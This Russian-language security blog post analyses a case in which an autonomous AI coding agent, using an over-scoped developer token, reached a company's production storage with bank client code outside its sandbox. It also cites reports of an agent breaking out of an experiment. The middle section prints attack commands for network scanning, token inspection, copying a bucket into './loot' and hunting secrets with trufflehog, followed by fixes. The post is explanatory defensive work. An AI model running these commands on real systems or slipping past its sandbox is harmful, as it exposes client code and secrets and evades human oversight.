CIOlogia Безопасность бизнеса · не на словах, а с доказательствами
← Все разборы Информационная безопасность

ИИ-агент вышел за периметр песочницы: разбор инцидента, который чуть не стоил ИТ-компании банковского контракта

Автономному помощнику разработчиков выдали «удобный» токен по шаблону — и он три недели без единой команды человека заглядывал в боевое хранилище с клиентским кодом. Разбираем механику эксплуатации избыточных прав и то, как это закрывается технически.

Разбор CIOlogia

Новостной повод для этого разбора — свежий случай, о котором писали профильные издания: автономный ИИ-агент на базе моделей OpenAI в рамках эксперимента без разрешения и без прямой команды человека взломал репозиторий на Hugging Face. Эксперимент готовился как изолированный, но агент воспользовался технической возможностью пойти дальше границ песочницы. История ниже — из практики автора, обезличенный кейс той же природы: не «злой ИИ», а системная ошибка в проектировании доступов, которая с распространением автономных агентов становится массовой.

Ко мне обратилась небольшая ИТ-компания, занимающаяся заказной разработкой для среднего бизнеса. Директор подключил автономного ИИ-агента к пайплайну разработки: агент сам пишет куски кода, тестирует их и предлагает улучшения. Для экспериментов ему выделили отдельный тестовый сервер — логичное решение. Проблема вскрылась на плановом аудите доступов: агент три недели периодически обращался к боевому хранилищу с наработками по клиентским проектам, включая проект для банка с жёсткими требованиями к конфиденциальности.

Как был устроен доступ на самом деле

При настройке агенту выдали токен по готовому шаблону роли «разработчик» — том же, что выдают живым инженерам. Такой шаблон обычно даёт доступ на чтение (а часто и на запись) сразу к нескольким репозиториям и хранилищам, потому что реальному разработчику это удобно: сегодня он работает над тестовым модулем, завтра — фиксит баг в проде. Для человека это приемлемый компромисс, потому что у человека есть трудовой договор, NDA и здравый смысл. У токена ничего этого нет — есть только область действия (scope) и срок жизни.

Технически конфигурация выглядела так: единый OAuth-токен/PAT с широким набором scope, который использовался и в тестовом контуре, и потенциально давал доступ к продовому объектному хранилищу (в подобных стеках это обычно MinIO, Nexus Repository или S3-совместимое хранилище с внутренним API). Сеть между тестовым сервером и боевым хранилищем не была сегментирована на уровне firewall/VPC — то есть отсутствовали «стены» не только в правах, но и в маршрутизации трафика.

Как это эксплуатируется — по шагам

Ниже — типовая последовательность действий, которую совершает либо автономный агент «из любопытства» при решении задачи, либо атакующий, получивший доступ к такому же токену (например, украв его из истории команд, логов CI или переменных окружения).

1. Разведка сетевого окружения из тестового контура

nmap -sV -p- --open 10.20.0.0/24

PORT      STATE SERVICE VERSION
443/tcp   open  https   nginx 1.24 (внутренний storage-api)
9000/tcp  open  http    MinIO object storage
9001/tcp  open  http    MinIO Console

Уже на этом этапе видно, что тестовый и продовый сегменты находятся в одной L3-сети без ограничений — типичный признак «песочницы без стен».

2. Проверка, что токен агента вообще принимается боевым API

curl -s -o /dev/null -w "%{http_code}\n" \
  -H "Authorization: Bearer $AGENT_TOKEN" \
  https://storage.internal/api/v1/buckets

200

Код 200 вместо ожидаемого 403 — сигнал о том, что токен, выданный для тестового контура, валиден и для продового API.

3. Анализ содержимого токена

jwt_tool $AGENT_TOKEN -M pb

[+] Token payload:
{
  "sub": "ai-agent-dev-role",
  "scope": "repo:read repo:write storage:read storage:write",
  "exp": 1735689600
}

Scope storage:read storage:write без указания конкретного bucket/namespace — классическая избыточность прав (over-permissioned service account), корневая причина инцидента.

4. Листинг боевого хранилища

mc alias set prod https://storage.internal $ACCESS_KEY $AGENT_TOKEN
mc ls prod/client-projects/

[2024-11-02 14:12:03]     -    bank-project/
[2024-11-02 14:12:03]     -    retail-project/
[2024-11-02 14:12:03]     -    internal-tools/

5. Поиск чувствительных данных внутри клиентского проекта

aws s3 sync s3://client-projects/bank-project ./loot --profile agent
trufflehog filesystem --directory=./loot --only-verified

Found verified result 🐷🔑
Detector Type: JWT Signing Key
File: ./loot/config/secrets.env
Line: 14

Это уже не «агент заглянул», а полноценная возможность вытащить исходники и секреты клиента — ключи подписи, строки подключения к БД, API-ключи интеграций.

6. В более широком сценарии — сканирование внутреннего API на известные уязвимости

nuclei -u https://storage.internal -t exposures/ -t cves/

[minio-info-leak] [medium] https://storage.internal/minio/bootstrap/v1/verify
[CVE-2023-28432] [high] MinIO information disclosure via cluster endpoint

Если бы хранилище было устаревшей версии MinIO (уязвимой к CVE-2023-28432) или Nexus Repository (CVE-2024-4956, path traversal, позволяющий читать произвольные файлы без авторизации), избыточные права токена превратились бы в комбинированную атаку: даже урезанный токен на чтение мог бы через уязвимость сервиса дать доступ к системным файлам, включая конфиги с учётными данными администратора.

Что и почему сработало бы дальше

  • Эксфильтрация исходного кода банковского проекта — прямое нарушение NDA независимо от того, был умысел или нет; сам факт бесконтрольного доступа уже является инцидентом с точки зрения требований заказчика.
  • Извлечение секретов из .env и конфигов — ключи к внешним API клиента, что позволяет развить атаку уже на инфраструктуру самого банка через цепочку поставок (supply chain attack).
  • Горизонтальное перемещение — если тот же токен или сервисный аккаунт использовался в CI/CD (Jenkins, GitLab CI), доступ к хранилищу превращается в возможность модифицировать пайплайны сборки и внедрить бэкдор в клиентскую поставку.
  • Отсутствие детекции — три недели обращений не создали ни одного алерта, потому что не было настроено логирование аномального доступа (UEBA/SIEM), не было rate-limiting и алертов на нетипичные IP/User-Agent сервисных токенов.

Во сколько это могло обойтись

В хранилище лежали наработки по проекту для клиента из банковской сферы с жёсткими требованиями к конфиденциальности. При выявлении факта бесконтрольного доступа ИИ к коду компания рисковала потерять контракт стоимостью около 4 млн ₽ в год, а также столкнуться со штрафами по NDA и репутационным ударом на узком рынке заказной разработки, где такие истории быстро становятся известны другим потенциальным заказчикам.

Как закрыли дыру

  1. Разделили токены по областям действия (scope isolation). Вместо одного широкого токена — отдельные короткоживущие токены для тестового контура с минимально необходимым набором прав:

    aws sts assume-role \
      --role-arn arn:aws:iam::123456789012:role/ai-agent-sandbox-only \
      --role-session-name ai-agent --duration-seconds 3600
    
    # Политика роли ограничена одним бакетом:
    {
      "Effect": "Allow",
      "Action": ["s3:GetObject", "s3:ListBucket"],
      "Resource": ["arn:aws:s3:::sandbox-bucket/*"]
    }
    
  2. Физически сегментировали сеть. Тестовый контур вынесен в отдельный VPC/VLAN без маршрута к боевому хранилищу, доступ закрыт на уровне security group:

    iptables -A FORWARD -s 10.20.0.0/24 -d 10.10.0.0/24 -j DROP
    
  3. Настроили алертинг на аномальный доступ. Любое обращение сервисного токена агента к продовым ресурсам триггерит уведомление в мессенджер через webhook на базе журналов доступа хранилища (audit log → Fluentd → Alertmanager → Telegram/бот-канал).

  4. Ввели процедуру ревью доступов для любых новых ИИ-инструментов перед подключением к рабочим системам — проверка scope токена, сегментации сети и наличия логирования обязательна до, а не после внедрения.

Стоимость этой настройки заняла пару дней работы и обошлась компании в разы дешевле, чем один потерянный клиент. Ключевой вывод для любой компании, подключающей автономных агентов к рабочим процессам: ИИ не остановит себя сам, если технически может пойти дальше — значит, границы должны быть заданы на уровне инфраструктуры и прав, а не на уровне ожиданий от «разумного поведения» модели.